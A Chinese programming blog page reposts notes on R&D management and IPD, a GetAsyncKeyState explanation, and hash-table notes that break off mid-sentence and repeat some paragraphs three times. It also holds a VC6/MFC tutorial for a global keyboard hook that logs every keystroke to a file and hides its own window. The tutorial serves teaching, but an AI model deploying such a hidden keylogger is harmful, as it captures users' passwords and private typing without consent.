• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            面對現實,超越自己
            逆水行舟,不進則退
            posts - 269,comments - 32,trackbacks - 0

            項目分級:

            A級項目:公司級重點關注和管理項目

            B級項目:產品線重點關注和管理的項目

            C級項目:產品經理或項目經理自己管理的項目

             

            項目排序要素:市場吸引力、競爭地位、財務評估

             

            單項目主體:項目經理

            多項目主體:項目管理部

             

            項目開發四個階段:階段,步驟,任務,活動

            三個計劃:

            1、  一級計劃:解決全流程、全要素協同

            2、  二級計劃:全流程協同下的各部門協同

            3、  三級計劃:指導更小模塊或個人具體執行任務計劃

             

            提高計劃準備度和完成率三要素:需求管理,關鍵資源及時到位,項目經理的能力

             

            計劃制訂需要分階段,分級進行,避免追求一次成型

            本文轉自:
            http://www.shnenglu.com/humanchao/archive/2012/11/26/195692.html

            posted @ 2012-11-30 17:34 王海光 閱讀(436) | 評論 (0)編輯 收藏

            研發工作四類流程:

             

            1、  技術開發流程:預研、應用技術開發V版本

            2、  平臺開發流程:共享模塊開發V版本

            3、  產品開發流程:每向細分市場R版本

            4、  定制項目開發流程:在產品和平臺基礎上針對某一客戶的定制M版本

             

            產品開發活動四個步驟:階段,步驟,任務,活動

             

            概念階段:驗證市場需求,確立產品是否可以立項

            計劃階段:確立總體方案,資源投入,確保工藝、結構方案、設計方案同步,避免重復開發

            發布階段:尋找樣板客戶,準備商標、命令、市場指導書、產品實驗局、初步定價策略;銷售工具包、售前膠片、銷售指導書、產品的配置、商業械設計、產品的成功安全分析,銷售培訓,發布計劃

             

            產品開發流程六個階段:概念、計劃、產品開發、驗證、生命周期管理

            四個決策評審點:概念決策、計劃決策、發布決策、生命周期決策

            六個技術評審點:產品包需求評審、系統規格評審、概要設計評審、詳細設計評審、樣機評審、小批量評審

             

            財務角色:

            概念階段:產品的定價分析和成本分析

            計劃階段:核算綜合成本

            開發階段:監控成本

            發布階段:明確價格策略

            生命周期階段:進行價格的核準和調整價格

             

            生產、維護、服務人員:在方案設計階段參與進來,提出可維護、可安裝、可測試、可生產需求,使方案設計一步到位。

             

            采購角色:

            概念階段:參與供應商認證

            計劃階段:完成元器件認證,明確提前采購的風險

            產品生命周期階段:關注器件的產能情況,提前預警

             

            企業執行產品開發流程失敗原因分析:

            1、  為流程而流程,只有研發參與

            2、  沒有建立市場管理流程,沒有好的市場經理,產品開發沒有良好的輸入,推行產品開發流程困難

            3、  沒有培養起來系統級工程師或團隊進行總體方案設計,沒有打通設計時的所有環節,流程流于形式

            4、  評審過于關注技術,在市場和財務成功方面考慮較少

            5、  過多關注流程執行的完整性,沒有結合自身情況,分步推進

            6、  配套支撐流程和體系建設跟不上,如項目管理流程、績效管理流程、任職資格體系建設,落地的支撐人員配套跟不上

            7、  沒有固化或形成時,過早進行IT化,僵化了流程

            本文轉自:
            http://www.shnenglu.com/humanchao/archive/2012/11/19/195360.html

            posted @ 2012-11-30 17:33 王海光 閱讀(504) | 評論 (0)編輯 收藏

            研發與銷售矛盾重重:需要建立市場體系,銷售與市場分離

            市場體系:分析客戶需求,進行產品規劃,培訓渠道及客戶經理,立足核心產品設計

             

            市場體系:讓產品好賣,營

            銷售體系:將產品賣好,銷

             

            需求管理四個步驟:需求收集,需求分析與分類,需求分發,需求實現及驗證

            需求管理體系目的:讓每個人在日常活動中,將需求進行收集并通過分析和分發,以確保非金屬人員面向市場進行開發

            需求管理體系原則:落后了,找對手;平行了,建市場;領先了,做標準。

            要建立好的市場體系,必須建立鼓勵研發人員進入營銷體系的機制。

            為了保證快速地反映市場,規劃必須每三個月更新一次。

             

            需求分類:

            A類:新產品開發需求

            B類:產品設計規格更改需求

            C類:詳細設計路徑更改需求

            D類:生產訂單需求

            E類:CBB和平臺開發需求

            F類:技術開發需求

            G類:市場調研,需要繼續求證

             

            進入一個客戶群三要素:

            1、  市場吸引力:市場規模,市場成長性,戰略價值

            2、  競爭地位:是否有能力進入,市場份額、產品優勢、成本優勢、渠道能力

            3、  財務回報:收入增長率,現金流貢獻、研發投入產出比

             

            確定新產品的需求的方法:

            1、  重新進行新產品開發

            2、  對老產品進行改進

             

            外部需求:客戶的要求、功能需求、規格需求、可靠性需求

            內部需求:產品化需求(可生產、可安裝、可維護、可測試、可驗證),技術需求

             

            需求完成包括四類人員:客戶經理、市場經理、產品經理、技術經理

            需求產出的四份文檔:

            1、  客戶需求規格說明書

            2、  產品包需求說明書

            3、  需求的分解分配

            4、  技術規格說明書

             

            將產品規格轉變為技術需求:FFAB

            Benefits:對客戶的好處

            Advantage:產品的優點

            Function:功能模塊的賣點

            Feature:實現功能模塊的技術特性

             

            業界常用的$APPEALS模型:$價格、A可獲得性、P包裝、P功能性能、E易用、A保證、L生命周期成本、S社會接受程度

            本文轉自:
            http://www.shnenglu.com/humanchao/archive/2012/11/16/195266.html

            posted @ 2012-11-30 17:32 王海光 閱讀(522) | 評論 (0)編輯 收藏

            企業戰略規劃制定:一個從公司愿景,到經營計劃,到各產品線的愿景,及業務計劃,再到產品平臺以及核心技術需求,并落實到資源規劃以及各種激勵機制的配套保證的總體流程

             

            戰略規劃分三個層次:

            1、  頂層設計,戰略研究層

            2、  業務層,產品線戰略規劃層

            3、  支撐層,資源配置管理改進層

             

            產品戰略的W型八個步驟

             

            技術型企業組織績效指標:

            1、  生存類能力指標:財務指標,交付指標,

            2、  可持續發展能力指標:新業務占收入的比重,核心技術和平臺帶來的收入占比

            3、  核心競爭能力指標:公共模塊共享率,人員結構合理性及任職資料提升率,引導客戶需求與規劃能力

             

            產品線的核心考核指標是組織績效:對市場成功和財務成功負責

            個人績效:只能產品線有利潤,組織績效成功,才有意義

             

            企業增加利潤的路徑:

            1、  進入新市場

            2、  開發新業務

            3、  改變商業模式

            4、  降低成本:研發的首要目的是提高老產品的利潤,其次是開發新產品,新技術

            5、  提高價格

             

            企業新業務分類:

            1、  聚焦發展,70%

            2、  必須突破的業務,20%

            3、  布局式業務,10%

             

            筆記原書:

            http://www.amazon.cn/%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86-%E6%9E%84%E5%BB%BA%E4%B8%96%E7%95%8C%E4%B8%80%E6%B5%81%E7%9A%84%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86%E4%BD%93%E7%B3%BB-%E5%91%A8%E8%BE%89/dp/B006THMWQS/ref=pd_sim_b_3


            本文轉自:http://www.shnenglu.com/humanchao/archive/2012/11/13/195098.html

            posted @ 2012-11-30 17:31 王海光 閱讀(467) | 評論 (0)編輯 收藏
            IPD介紹

            研發的六種產出模式:

            1、  基礎研究,發明和標準

            2、  應用開發,將非成熟的應用技術變成成熟的技術

            3、  項目開發,一次性的定制

            4、  產品開發,內部共享模塊與產品,外部銷售的產品,可批量,可重復,可復制生產

            5、  解決方案,以產品為核心,為客戶做的跨產品或跨領域集成方案

            6、  服務和運營,服務、運營、維護獲取收益

             

            產品開發貨架層次:器件、組件、部件、單機、整機、子系統、系統

            產品分類:

            1、  內部共享產品:器件、組件、部件

            2、  面向細分客戶群的產品:部件、單機、整機、子系統(能力強的公司)

            3、  解決方案級產品:子系統、系統

             

            技術型企業的商業模式:經營技術、經營產品、經營解決方案、經營客戶和服務

             

            技術型企業的商業模式發展和演變五個階段:

            1、  勞動密集型加工

            2、  項目生存型

            3、  產品擴展型

            4、  運營客戶型

            5、  集成產業鏈型

             

            產品開發方式:

            1、  先開發技術,然后做通用產品,再銷售

            技術開發->產品開發->形成產品->銷售渠道->通用客戶需求

            缺點:容易被細分市場產品替代,技術一旦落后沒有后續產出

            2、  客戶需求,尋找技術,完成定制

            客戶需求->營銷渠道->確定交付->投入開發->技術突破

            缺點:技術開發有風險;一個個項目做,企業很難做大;質量不易保證;人員沒有專業發展通道,容易流失;項目越多,管理越難

             

            集成產品開發:

            1、  產品開發與技術開發、平臺開發分離;

            2、  技術和平臺開發先行,解決技術突破;

            3、  產品開發按細分客戶群需求

             

            集成產品開發和技術開發特點:

            1、  產品開發:強調基于市場需求和共享平臺,對市場和財務的成功負責

            2、  技術開發:自己掌握業界成熟的技術,做成貨架,供產品開發時共享,以縮短產品開發周期

             

            集成產品開發三種產品形態:

            1、  產品大版本V:平臺版本

            2、  細分客戶群版本R:交付給用客戶產品,四要素:客戶及競爭需求、功能與技術需求、時間、成本

            3、  客戶定制版本M:在R版本的基礎上針對具體客戶的個性化版本

             

            產品開發四個范疇:技術開發、市場開發、生產和服務開發、資料包開發

            產品開發的步驟:

            1、  先進行市場開發,細分客戶群,尋找賣點和商業模式,尋找市場和財務成功的要素;

            2、  根據產品需求進行分解與分配,進行技術開發

            3、  根據技術要求進行產品的可生產性,可安裝性,可測試性,可驗證性,可服務性開發

            4、  根據產品大量進入市場,進行技術資料包,服務資料包和銷售工具的開發

             

            企業研發管理發展的五個階段:

            1、  單項目單產品階段:以項目為核心

            2、  多產品、共享產品和貨架平臺階段:以產品為核心

            3、  以共享為核心面向客戶需求階段:以客戶為核心

            4、  以產業鏈為核心的關注利潤階段:以利潤為核心

            5、  持續改進階段

             

            集成產品開發管理思想:

            1、  產品開發是一項投資

            2、  必須強調基于市場的創新

            3、  執行技術開發與產品開發分離

            4、  對技術進行分類管理,強調核心技術,關鍵技術的自主開發

            5、  跨部分的協同開發,實現全流程全要素(市場、研發、生產、采購、財務協同)的管理

            6、  強調CBB和平臺建設,強調技術共享

            7、  執行異步開發

            8、  根據產品的不同層次和技術開發執行不同的結構化開發流程

            9、  強調市場和財務成功、核心競爭力的提升是研發績效考核的重要因素

             

            要實現IPD要以產品線(產品)為核心進行四大重組:財務重組、市場重組、產品重組、組織與流程重組

            筆記原書:

            http://www.amazon.cn/%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86-%E6%9E%84%E5%BB%BA%E4%B8%96%E7%95%8C%E4%B8%80%E6%B5%81%E7%9A%84%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86%E4%BD%93%E7%B3%BB-%E5%91%A8%E8%BE%89/dp/B006THMWQS/ref=pd_sim_b_3


            本文轉自:http://www.shnenglu.com/humanchao/archive/2012/11/11/195045.html
            posted @ 2012-11-30 17:29 王海光 閱讀(740) | 評論 (0)編輯 收藏

            MSDN中解釋:
            Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

            Syntax

            SHORT WINAPI GetAsyncKeyState(   _In_  int vKey );

            Parameters

            vKey [in]

            Type: int

            The virtual-key code. For more information, see Virtual Key Codes.

            You can use left- and right-distinguishing constants to specify certain keys. See the Remarks section for further information.

            Return value

            Type: SHORT

            If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

            The return value is zero for the following cases:

            • The current desktop is not the active desktop
            • The foreground thread belongs to another process and the desktop does not allow the hook or the journal record. 


              以下轉自:http://bingtears.iteye.com/blog/663149

              0x8000 & GetKeyState(VK_SHIFT); 這句是判斷是否有按下shift鍵 

              為什么GetAsyncKeyState()& 

              首先說明,有好多程序或書上是0x8000f,這個f不是十六進制的f而是代表浮點數。其實& 8000才是本質。小魚我整理后自己寫了點東西,總結一下 


              首先介紹一下幾個概念: 
              按位與運算符"&":是雙目運算符,其功能是參與運算的兩數各對應的二進位相與。只有對應的兩個二進位均為1時,結果位才為1 ,否則為0。參與運算的數以補碼方式出現。例如:0x11 & 0x12(即0001 0001 & 0001 0010)的結果是0x10(0001 0000);(關于vs取反參考附) 
              虛鍵:指的是非字母可以明確表示的鍵.(例如ESC BS TAB NumLock 等,虛鍵列表見附); 
              物理鍵狀態:在操作系統的控制面板中設置鼠標左右鍵的映射(實際的鼠標左鍵可以映射成右鍵點擊事件),或者通過程序也可以這樣設置,這樣就產生了(實際的)物理鍵狀態; 
              邏輯鍵狀態:使用 GetKeyState,GetKeyboardState,等函數得到的邏輯鍵狀態,模擬按下按鍵; 
              GetAsyncKeyState函數功能:讀取的是物理鍵狀態,也是就是不管你怎么鼠標鍵盤映射,它只讀取實際的按鍵狀態。MSDN上給出了例子很恰當For example, the call GetAsyncKeyState(VK_LBUTTON) always returns the state of the left physical mouse button, regardless of whether it is mapped to the left or right logical mouse button.也就是說如果你重新設置了映射,GetAsyncKeyState還是只讀取物理狀態; 
              GetAsyncKeyState的返回值:表示兩個內容,一個是最高位bit的值,代表這個鍵是否被按下,按下為1,抬起為0;一個是最低位bit的值,在windowsCE下要忽略(參考自MSDNIf the most significant bit is set, the key is down. The least significant bit is not valid in Windows CE, and should be ignored.) 
              Asynchronous:英文意思是異步的 

              實際當中GetAsyncKeyState的返回值是什么呢?小魚我寫了個程序來獲取返回值: 
              #include <Windows.h> 
              #include <stdio.h> 

              void main() 

              while(1) 

              short a = ::GetAsyncKeyState(VK_LSHIFT) 
              printf( "0x%x",a); 
              sleep(10); 


              當然,用MessageBox可以這樣寫: 
              if(short a = ::GetAsyncKeyState(VK_LSHIFT)) 

              char buffer[30]; 
              sprintf(buffer, "0x%x",a); 
              MessageBox(0, buffer, "a的值", MB_OK); 


              GetAsyncKeyState按鍵不按或抬起后不按的返回值0x0        即0000 0000 0000 0000 0000 0000 0000 0000 
              GetAsyncKeyState按鍵被按下后的返回值    返回0xffff8001 即1111 1111 1111 1111 1000 0000 0000 0001   (這里并不是返回4字節,而是%x打印出32位,前十六位補f) 
              0x8000 即0000 0000 0000 0000 1000 0000 0000 0000 
              GetAsyncKeyState(VK_LSHIFT) & 0x8000    返回0x1          即0000 0000 0000 0000 1000 0000 0000 0000 

              那么為什么GetAsyncKeyState要 ‘與’上 0x8000這個常數呢? 
              答案是:獲取按鍵狀態,屏蔽掉其他的可能狀態,按照MSDN上說低位should ignore。 
              網上有人這樣寫,意思很明確: 
              #define KEYDOWN(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0) 
              #define KEYUP(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 0 : 1) 

              程序應該是: 
              if(GetAsyncKeyState(VK_LSHIFT)&&0x8000) 
              對于虛鍵而言下面這樣寫邏輯是不對的,雖然結果一樣: 
              if(GetAsyncKeyState(VK_LSHIFT)) 

              所以讓鍵盤的"上下左右"出發事件可以這樣寫: 
              if( ::GetAsyncKeyState(VK_LEFT) & 0x8000 ) 
              code... 
              if( ::GetAsyncKeyState(VK_RIGHT)& 0x8000 ) 
              code... 
              if( ::GetAsyncKeyState(VK_UP) & 0x8000 ) 
              code... 
              if( ::GetAsyncKeyState(VK_DOWN) & 0x8000 ) 
              code... 

              關于GetAsyncKeyState與GetKeyState區別: 
              GetAsyncKeyState上面已經講差不多了,關于GetAsyncKeyState與GetKeyState二者最大區別:GetAsyncKeyState在按鍵不按的情況下為0,而GetKeyState在按鍵不按的情況下開始為0,當一次‘按下抬起’后變為1,依次循環。 

              SHORT GetKeyState(int nVirtKey   // virtual-key code); 
              作用:返回鍵的狀態,按下、釋放或鎖定(down、up or toggled) 
              參數:虛擬鍵代碼(VK_)。如果是字母a-z、A-Z 或數字0-9, 則為其對應的ASCII碼(比如字母O的ASCII碼為十六進制的0x4F) 
              返回值:返回碼的高位顯示當前是否有鍵被按下,低位(0位)則顯示NumLock、CapsLock、ScrollLock的狀態(ON或OFF,為ON時鍵盤指示燈亮)。即高位為1,返回值小于0,說明有鍵按下;最低位為1表示處于鎖定(ON)狀態(參考MSDN:If the high-order bit is 1, the key is down; otherwise, it is up. 
              If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled. ) 
              注:此函數不應該在鍵盤消息處理程序以外使用,因為它返回的信息只有在鍵盤消息從消息隊列中被檢索到之后才有效。若確實需要,請使用GetAsyncKeyState 

              ---------------------------------------- 
              網上還找到了一些資料: 

              關于和其他的幾個函數的區別: 
              SHORT GetKeyState(int nVirtKey); 
              SHORT GetAsyncKeyState(int vKey); 
              BOOL GetKeyboardState(PBYTE lpKeyState); 

              三個取key status的函數的最大區別是: 
              第一個:是從windows消息隊列中取得鍵盤消息,返回key status. 
              第二個:是直接偵測鍵盤的硬件中斷,返回key status. 
              第三個:是當從windows消息隊列中移除鍵盤消息時,才返回key status. 

              keybd_event函數,是模擬鍵盤擊鍵,一次完整的擊鍵模擬事件,是"按下"和"彈起"兩個消息,所以 keybd_event(VK_F12,0,0,0);keybd_event(VK_F12,0,KEYEVENTF_KEYUP,0); 完成了一次完整的點擊 F12 的事件。 

              GetAsyncKeyState()函數,是直接偵測鍵盤的硬件中斷。(有些人說,是一種“實時性”的偵測,這種說法,感覺不對,比如你調用 Sleep(),就算是中斷一年的時間,只要在這期間程序還在運行,它都可以把那個鍵的狀態偵測出來)。自上一次調用GetAsyncKeyState()函數以來(在某些循環中,N次調用GetAsyncKeyState(),它每次檢查的,都是自上次調用之后,鍵的狀態),若鍵已被按過,則返回1,否則,返回0;有些資料顯示:倘若輸入焦點從屬于與調用函數的輸入線程不同的另一個線程,則返回零(例如,在另一個程序擁有輸入焦點時,應該返回零)。實驗證明,這種說法并不完全,函數實際是在大部份范圍內工作的,只有少數是另外)。 
            posted @ 2012-11-23 15:55 王海光 閱讀(1926) | 評論 (0)編輯 收藏

            一我們可以在應用程序中毫不費力的捕獲在本程序窗口上所進行的鍵盤操作,但如果我們想要將此程序作成一個監控程序,捕獲在Windows平臺下任意窗口上的鍵盤操作,就需要借助于全局鉤子來實現了。
            二、系統鉤子和DLL
            鉤子的本質是一段用以處理系統消息的程序,通過系統調用,將其掛入系統。鉤子的種類有很多,每種鉤子可以截獲并處理相應的消息,每當特定的消息發出,在到達目的窗口之前,鉤子程序先行截獲該消息、得到對此消息的控制權。此時在鉤子函數中就可以對截獲的消息進行加工處理,甚至可以強制結束消息的傳遞。
            在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個系統的消息,而全局鉤子函數必須以DLL(動態連接庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)、Regular using the shared MFC DLL(標準動態鏈接MFC DLL)以及Extension MFC DLL(擴展MFC DLL)。 在本程序中為方便起見采用了標準靜態連接MFC DLL。
            三、鍵盤鉤子程序示例
            本示例程序用到全局鉤子函數,程序分兩部分:可執行程序KeyHook和動態連接庫LaunchDLL。
            1、首先編制MFC擴展動態連接庫LaunchDLL.dll:
            (1)選擇MFC AppWizard(DLL)創建項目LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標準靜態鏈接MFC DLL)。
            (2)在LaunchDLL.h中添加宏定義和待導出函數的聲明: 
            #define DllExport __declspec(dllexport)
            ……
            DllExport void WINAPI InstallLaunchEv();
            ……
            class CLaunchDLLApp : public CWinApp
            {
            public:
            CLaunchDLLApp();
             
            //{{AFX_VIRTUAL(CLaunchDLLApp)
            //}}AFX_VIRTUAL
             
            //{{AFX_MSG(CLaunchDLLApp)
            // NOTE - the ClassWizard will add and remove member functions here.
            // DO NOT EDIT what you see in these blocks of generated code !
            //}}AFX_MSG
            DECLARE_MESSAGE_MAP()
            };
            (3)在LaunchDLL.cpp中添加全局變量Hook和全局函數LauncherHook、SaveLog:
            HHOOK Hook;
            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
            void SaveLog(char* c);
            (4)完成以上提到的這幾個函數的實現部分:
            ……
            CLaunchDLLApp theApp;
            ……
            DllExport void WINAPI InstallLaunchEv()
            {
            Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
            (HOOKPROC)LauncherHook,
            theApp.m_hInstance,
            0);
            }
            在此我們實現了Windows的系統鉤子的安裝,首先要調用SDK中的API函數SetWindowsHookEx來安裝這個鉤子函數,其原型是:
            HHOOK SetWindowsHookEx(int idHook,
            HOOKPROC lpfn,
            HINSTANCE hMod,
            DWORD dwThreadId);
            其中,第一個參數指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定為WH_KEYBOARD;第二個參數標識鉤子函數的入口地址,當鉤子鉤到任何消息后便調用這個函數,即當不管系統的哪個窗口有鍵盤輸入馬上會引起LauncherHook的動作;第三個參數是鉤子函數所在模塊的句柄,我們可以很簡單的設定其為本應用程序的實例句柄;最后一個參數是鉤子相關函數的ID用以指定想讓鉤子去鉤哪個線程,為0時則攔截整個系統的消息,在本程序中鉤子需要為全局鉤子,故設定為0。
            ……
            LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
            {
            LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
            if(nCode==HC_ACTION)
            {
            if(lParam & 0x80000000)
            {
            char c[1];
            c[0]=wParam;
            SaveLog(c);
            }
            }
            return Result;
            }

            對其中的lParam & 0x80000000不理解,在網上搜索了一下,解釋是lParam的最高位為1代表鍵盤Up,0代表鍵盤down,最終我還是在msdn中找到了詳細解釋:

            lParam的各位信息:


            而Transition-state flag的詳細解釋如下:

            Transition-State Flag

            The transition-state flag indicates whether pressing a key or releasing a key generated the keystroke message. This flag is always set to 0 for WM_KEYDOWN and WM_SYSKEYDOWN messages; it is always set to 1 for WM_KEYUP and WM_SYSKEYUP messages.

            關于更多信息,大家可以參考msdn的“About Keyboard Input”。


            雖然調用CallNextHookEx()是可選的,但調用此函數的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程序將不會接收到鉤子的通知而且還有可能產生不正確的結果,所以我們應盡量調用該函數除非絕對需要阻止其他程序獲取通知。
            ……
            void SaveLog(char* c)
            {
            CTime tm=CTime::GetCurrentTime();
            CString name;
            name.Format("c://Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
            CFile file;
            if(!file.Open(name,CFile::modeReadWrite))
            {
            file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
            }
            file.SeekToEnd();
            file.Write(c,1);
            file.Close();
            }
            當有鍵彈起的時候就通過此函數將剛彈起的鍵保存到記錄文件中從而實現對鍵盤進行監控記錄的目的。
            編譯完成便可得到運行時所需的鍵盤鉤子的動態連接庫LaunchDLL.dll和進行靜態鏈接時用到的LaunchDLL.lib。
            2、下面開始編寫調用此動態連接庫的主程序,并實現最后的集成:
            (1)用MFC的AppWizard(EXE)創建項目KeyHook;
            (2)選擇單文檔,其余幾步可均為確??; 
            (3)把LaunchDLL.h和LaunchDLL.lib復制到KeyHook工程目錄中,LaunchDLL.dll復制到Debug目錄下。
            (4)鏈接DLL庫,即在"Project","Settings…"的"Link"屬性頁內,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通過"Project","Add To Project","Files…"將LaunchDLL.h添加到工程中來,最后在視類的源文件KeyHook.cpp中加入對其的引用:
            #include "LaunchDLL.h"
            這樣我們就可以象使用本工程內的 函數一樣使用動態連接庫LaunchDLL.dll中的所有導出函數了。
            (5)在視類中添加虛函數OnInitialUpdate(),并添加代碼完成對鍵盤鉤子的安裝:
            ……
            InstallLaunchEv();
            ……
            (6)到此為止其實已經完成了所有的功能,但作為一個后臺監控軟件,運行時并不希望有界面,可以在應用程序類CkeyHookApp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_HIDE);即可。
            四、運行與檢測
            編譯運行程序,運行起來之后并無什么現象,但通過Alt+Ctrl+Del在關閉程序對話框內可以找到我們剛編寫完畢的程序"KeyHook",隨便在什么程序中通過鍵盤輸入字符,然后打開記錄文件,我們會發現:通過鍵盤鉤子,我們剛才輸入的字符都被記錄到記錄文件中了。
            小結:系統鉤子具有相當強大的功能,通過這種技術可以對幾乎所有的Windows系統消息進行攔截、監視、處理。這種技術廣泛應用于各種自動監控系統中。

             


            鉤子在使用完之后需要用UnHookWindowsHookEx()卸載,否則會造成麻煩。釋放鉤子比較簡單,UnHookWindowsHookEx()只有一個參數。函數原型如下:
            1 UnHookWindowsHookEx
            2 (
            3     HHOOK hhk;
            4 );
            函數成功返回TRUE,否則返回FALSE。

            可以再LaunchDLL工程中增加卸載鉤子的函數如下:

            DllExport void WINAPI UninstallLaunchEv() 
            if (Hook)
            {
            UnhookWindowsHookEx(Hook); //uninstall hook!! 
                            Hook = NULL;
            }

            程序退出時可以卸載鉤子。

            本文轉自:http://blog.csdn.net/jaminwm/article/details/463940
            posted @ 2012-11-22 14:46 王海光 閱讀(616) | 評論 (0)編輯 收藏
            散列表(Hash table,也叫哈希表),是根據關鍵碼值(Key value)而直接進行訪問的數據結構。也就是說,它通過把關鍵碼值映射到表中一個位置來訪問記錄,以加快查找的速度。這個映射函數叫做散列函數,存放記錄的數組叫做散列表。

            哈希表算法-哈希表的構造方法

            1、直接定址法

            例如:有一個從1到100歲的人口數字統計表,其中,年齡作為關鍵字,哈希函數取關鍵字自身。

                       但這種方法效率不高,時間復雜度是O(1),空間復雜度是O(n),n是關鍵字的個數

             

            哈希表算法哈希表算法

             

            2、數字分析法

            有學生的生日數據如下:

            年.月.日

            75.10.03
            75.11.23
            76.03.02
            76.07.12
            75.04.21
            76.02.15
            ...

            經分析,第一位,第二位,第三位重復的可能性大,取這三位造成沖突的機會增加,所以盡量不取前三位,取后三位比較好。

            3、平方取中法

            取關鍵字平方后的中間幾位為哈希地址

            4、折疊法

            將關鍵字分割成位數相同的幾部分(最后一部分的位數可以不同),然后取這幾部分的疊加和(舍去進位)作為哈希地址,這方法稱為折疊法。

            例如:每一種西文圖書都有一個國際標準圖書編號,它是一個10位的十進制數字,若要以它作關鍵字建立一個哈希表,當館藏書種類不到10,000時,可采用此法構造一個四位數的哈希函數。如果一本書的編號為0-442-20586-4,則:

             

            哈希表算法哈希表算法

             

            5、除留余數法

            取關鍵字被某個不大于哈希表表長m的數p除后所得余數為哈希地址。

            H(key)=key MOD p (p<=m)

            6、隨機數法

            選擇一個隨機函數,取關鍵字的隨機函數值為它的哈希地址,即

            H(key)=random(key) ,其中random為隨機函數。通常用于關鍵字長度不等時采用此法。

            5、除留余數法

            取關鍵字被某個不大于哈希表表長m的數p除后所得余數為哈希地址。

            H(key)=key MOD p (p<=m)

            6、隨機數法

            選擇一個隨機函數,取關鍵字的隨機函數值為它的哈希地址,即

            H(key)=random(key) ,其中random為隨機函數。通常用于關鍵字長度不等時采用此法。

            5、除留余數法

            取關鍵字被某個不大于哈希表表長m的數p除后所得余數為哈希地址。

            H(key)=key MOD p (p<=m)

            6、隨機數法

            選擇一個隨機函數,取關鍵字的隨機函數值為它的哈希地址,即

            H(key)=random(key) ,其中random為隨機函數。通常用于關鍵字長度不等時采用此法。


            處理沖突的方法 

             通常有兩類方法處理沖突:開放定址(Open Addressing)法和拉鏈(Chaining)法。前者是將所有結點均存放在散列表T[0..m-1]中;后者通常是將互為同義詞的結點鏈成一個單鏈表,而將此鏈表的頭指針放在散列表T[0..m-1]中。

            1、開放定址法
            (1)開放地址法解決沖突的方法
             用開放定址法解決沖突的做法是:當沖突發生時,使用某種探查(亦稱探測)技術在散列表中形成一個探查(測)序列。沿此序列逐個單元地查找,直到找到給定 的關鍵字,或者碰到一個開放的地址(即該地址單元為空)為止(若要插入,在探查到開放的地址,則可將待插入的新結點存人該地址單元)。查找時探查到開放的 地址則表明表中無待查的關鍵字,即查找失敗。
            注意:
            ①用開放定址法建立散列表時,建表前須將表中所有單元(更嚴格地說,是指單元中存儲的關鍵字)置空。
            ②空單元的表示與具體的應用相關。
            【例】關鍵字均為非負數時,可用"-1"來表示空單元,而關鍵字為字符串時,空單元應是空串。
            總之:應該用一個不會出現的關鍵字來表示空單元。

            (2)開放地址法的一般形式
            開放定址法的一般形式為: hi=(h(key)+di)%m 1≤i≤m-1 
            其中:
              ①h(key)為散列函數,di為增量序列,m為表長。
             ②h(key)是初始的探查位置,后續的探查位置依次是hl,h2,…,hm-1,即h(key),hl,h2,…,hm-1形成了一個探查序列。
              ③若令開放地址一般形式的i從0開始,并令d0=0,則h0=h(key),則有:
            hi=(h(key)+di)%m 0≤i≤m-1 
            探查序列可簡記為hi(0≤i≤m-1)。

            (3)開放地址法堆裝填因子的要求
             開放定址法要求散列表的裝填因子α≤l,實用中取α為0.5到0.9之間的某個值為宜。

            (4)形成探測序列的方法
             按照形成探查序列的方法不同,可將開放定址法區分為線性探查法、二次探查法、雙重散列法等。
            ①線性探查法(Linear Probing)
            該方法的基本思想是:
            將散列表T[0..m-1]看成是一個循環向量,若初始探查的地址為d(即h(key)=d),則最長的探查序列為:
            d,d+l,d+2,…,m-1,0,1,…,d-1
             即:探查時從地址d開始,首先探查T[d],然后依次探查T[d+1],…,直到T[m-1],此后又循環到T[0],T[1],…,直到探查到T[d-1]為止。

            探查過程終止于三種情況:
             (1)若當前探查的單元為空,則表示查找失?。ㄈ羰遣迦雱t將key寫入其中);
               (2)若當前探查的單元中含有key,則查找成功,但對于插入意味著失敗;
             (3)若探查到T[d-1]時仍未發現空單元也未找到key,則無論是查找還是插入均意味著失敗(此時表滿)。

            利用開放地址法的一般形式,線性探查法的探查序列為:
            hi=(h(key)+i)%m 0≤i≤m-1 //即di=i

            利用線性探測法構造散列表
            【例9.1】已知一組關鍵字為(26,36,41,38,44,15,68,12,06,51),用除余法構造散列函數,用線性探查法解決沖突構造這組關鍵字的散列表。
            解答:為了減少沖突,通常令裝填因子α
